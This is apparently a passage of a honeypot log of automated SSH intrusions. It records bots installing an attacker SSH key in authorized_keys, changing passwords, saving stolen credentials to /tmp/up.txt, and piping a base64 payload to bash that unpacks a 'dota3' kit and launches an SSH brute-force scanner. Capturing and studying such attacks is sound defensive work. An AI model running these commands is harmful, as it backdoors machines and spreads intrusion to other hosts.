/tmp/up.txt"},{"seq":35,"at":"2026-08-23T01:08:59.240235+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T01:08:59.694575+00:00","kind":"output","latency_ms":453,"data":""},{"seq":37,"at":"2026-08-23T01:09:00.477651+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T01:09:01.279225+00:00","kind":"output","latency_ms":801,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":39,"at":"2026-08-23T01:09:01.636850+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T01:09:02.309144+00:00","kind":"output","latency_ms":671,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":41,"at":"2026-08-23T01:09:02.667506+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:09:03.022748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T01:09:03.641883+00:00","kind":"output","latency_ms":617,"data":"1"},{"seq":44,"at":"2026-08-23T01:09:03.999199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T01:09:04.408766+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":46,"at":"2026-08-23T01:09:04.766390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T01:09:05.270367+00:00","kind":"output","latency_ms":502,"data":""},{"seq":48,"at":"2026-08-23T01:09:13.083942+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T01:09:13.084701+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"minecraft1","method":"password","accepted":true,"tier":"other"}]} {"id":"4a0c9132-6dee-4f72-9d68-d4faa24a1033","name":"gleaming-placid-osprey","protocol":"ssh","channel_kind":"exec","src_ip":"171.25.158.70","src_port":57626,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:58:21.019162+00:00","ended_at":"2026-08-23T00:58:21.109836+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3397,"events":[{"seq":1,"at":"2026-08-23T00:57:52.832574+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:57:53.199817+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:57:58.098972+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:57:58.099507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:57:58.417658+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zxcvbnm\\npqsuInswO8pN\\npqsuInswO8pN\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:57:58.797990+00:00","kind":"input","latency_ms":null,"data":"echo \"zxcvbnm\\npqsuInswO8pN\\npqsuInswO8pN\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:57:59.122681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T00:57:59.123178+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T00:57:59.494082+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T00:58:00.227510+00:00","kind":"output","latency_ms":732,"data":" 15888 4120 8734 341 162 8667"},{"seq":11,"at":"2026-08-23T00:58:00.696109+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T00:58:01.282346+00:00","kind":"output","latency_ms":585,"data":"-rwxr-xr-x 1 root root 1.3M Apr 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T00:58:01.614532+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T00:58:01.615013+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:58:01.992270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T00:58:01.992762+00:00","kind":"output","latency_ms":null,"data":" 00:58:01 up 2 days, 21:48, 0 user, load average: 0.1, 0.13, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T00:58:02.316296+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T00:58:02.317261+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T00:58:02.696085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T00:58:02.696590+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T00:58:03.024512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T00:58:03.025011+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:03 up 2 days, 21:48, 0 user, load average: 0.1, 0.13, 0.07\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T00:58:03.398191+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T00:58:03.398930+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T00:58:03.792024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T00:58:03.792617+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T00:58:04.124861+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T00:58:04.128059+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-23T00:58:04.514214+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T00:58:05.093418+00:00","kind":"output","latency_ms":578,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T00:58:05.498599+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T00:58:05.957340+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-23T00:58:07.395245+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser zxcvbnm\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T00:58:07.719995+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T00:58:08.156244+00:00","kind":"output","latency_ms":433,"data":""},{"seq":36,"at":"2026-08-23T00:58:09.010523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T00:58:09.474671+00:00","kind":"output","latency_ms":463,"data":"ftpuser zxcvbnm"},{"seq":38,"at":"2026-08-23T00:58:09.818106+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T00:58:10.341878+00:00","kind":"output","latency_ms":523,"data":"ftpuser zxcvbnm"},{"seq":40,"at":"2026-08-23T00:58:10.697207+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T00:58:11.016135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:58:11.424575+00:00","kind":"output","latency_ms":407,"data":"ftpuser zxcvbnm"},{"seq":43,"at":"2026-08-23T00:58:11.792742+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T00:58:12.284558+00:00","kind":"output","latency_ms":490,"data":"ftpuser zxcvbnm"},{"seq":45,"at":"2026-08-23T00:58:12.722002+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T00:58:21.019763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T00:58:21.020577+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"zxcvbnm","method":"password","accepted":true,"tier":"other"}]} {"id":"e4909784-b570-4d6e-b53d-274294e58207","name":"glassy-subtle-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"58.209.82.184","src_port":45019,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":795,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:50:22.167314+00:00","ended_at":"2026-08-23T00:50:22.411160+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3812,"events":[{"seq":1,"at":"2026-08-23T00:49:38.901027+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:49:40.026532+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:49:45.850665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:49:45.851724+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:49:46.664249+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwer1234!@#$\\nwSYCSBm4fMGO\\nwSYCSBm4fMGO\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:49:47.461990+00:00","kind":"input","latency_ms":null,"data":"echo \"qwer1234!@#$\\nwSYCSBm4fMGO\\nwSYCSBm4fMGO\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:49:47.927883+00:00","kind":"output","latency_ms":464,"data":"New password:\nRetype new password:\npasswd: password updated successfully"},{"seq":8,"at":"2026-08-23T00:49:48.273201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T00:49:48.274051+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T00:49:49.068647+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T00:49:49.773890+00:00","kind":"output","latency_ms":703,"data":"15888 2301 10923 0 2663 0"},{"seq":12,"at":"2026-08-23T00:49:50.582523+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T00:49:51.290043+00:00","kind":"output","latency_ms":704,"data":"-rwxr-xr-x 1 root root 148K May 17 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T00:49:52.109825+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:49:52.110364+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T00:49:52.898541+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T00:49:52.899141+00:00","kind":"output","latency_ms":null,"data":" 00:49:52 up 2 days, 21:39, 0 user, load average: 0.04, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T00:49:53.686316+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T00:49:53.686822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T00:49:54.473294+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T00:49:54.473874+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T00:49:55.271448+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T00:49:55.272005+00:00","kind":"output","latency_ms":null,"data":"top - 00:49:55 up 2 days, 21:40, 0 user, load average: 0.04, 0.05, 0.04\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T00:49:56.055911+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T00:49:56.056458+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T00:49:56.841430+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T00:49:56.842203+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T00:49:57.627244+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T00:49:57.627847+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":30,"at":"2026-08-23T00:49:58.430268+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T00:49:59.599399+00:00","kind":"output","latency_ms":1167,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T00:50:00.378510+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T00:50:01.013766+00:00","kind":"output","latency_ms":633,"data":"24G"},{"seq":34,"at":"2026-08-23T00:50:03.255681+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu qwer1234!@#$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T00:50:04.045572+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T00:50:04.528870+00:00","kind":"output","latency_ms":482,"data":""},{"seq":37,"at":"2026-08-23T00:50:06.829704+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T00:50:07.577457+00:00","kind":"output","latency_ms":746,"data":"\u0a05#\ufffd\u007f\ufffdU\ufffdq\ufffd>\ufffdK\ufffd\ufffd2\ufffd\ufffd\ufffd\n"},{"seq":39,"at":"2026-08-23T00:50:08.373142+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T00:50:08.816550+00:00","kind":"output","latency_ms":442,"data":"\u0a05#\ufffd\u007f\ufffdU\ufffdq\ufffd>\ufffdK\ufffd\ufffd2\ufffd\ufffd\ufffd"},{"seq":41,"at":"2026-08-23T00:50:09.607224+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:50:10.394504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T00:50:10.993071+00:00","kind":"output","latency_ms":600,"data":"1"},{"seq":44,"at":"2026-08-23T00:50:11.792486+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T00:50:12.427965+00:00","kind":"output","latency_ms":633,"data":"1"},{"seq":46,"at":"2026-08-23T00:50:13.241430+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T00:50:13.951933+00:00","kind":"output","latency_ms":722,"data":""},{"seq":48,"at":"2026-08-23T00:50:22.168926+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T00:50:22.169874+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"qwer1234!@#$","method":"password","accepted":true,"tier":"other"}]} {"id":"50d8261c-2b8a-4d6e-b889-bcc7ce510f56","name":"merry-prickly-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"35.237.94.18","src_port":38132,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":178,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:28:27.222996+00:00","ended_at":"2026-08-23T00:28:27.239147+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3280,"events":[{"seq":1,"at":"2026-08-23T00:28:03.526541+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:28:03.701542+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:28:06.962656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:28:06.963356+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:28:07.190060+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd1\\noPKl7IbnntR6\\noPKl7IbnntR6\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:28:07.497711+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd1\\noPKl7IbnntR6\\noPKl7IbnntR6\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:28:07.697034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T00:28:07.697615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T00:28:07.792072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T00:28:08.366971+00:00","kind":"output","latency_ms":573,"data":"15888 2147 1234 0 12406 0"},{"seq":11,"at":"2026-08-23T00:28:08.514580+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T00:28:09.663548+00:00","kind":"output","latency_ms":1149,"data":"lrwxrwxrwx 1 root root 7 Apr 22 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T00:28:09.766591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T00:28:09.767116+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:28:09.949799+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T00:28:09.950598+00:00","kind":"output","latency_ms":null,"data":" 00:28:09 up 2 days, 21:18, 0 user, load average: 0.06, 0.07, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T00:28:10.050698+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T00:28:10.051183+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T00:28:10.271270+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T00:28:10.272283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T00:28:10.449554+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T00:28:10.450300+00:00","kind":"output","latency_ms":null,"data":"top - 00:28:10 up 2 days, 21:18, 0 user, load average: 0.06, 0.07, 0.06\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 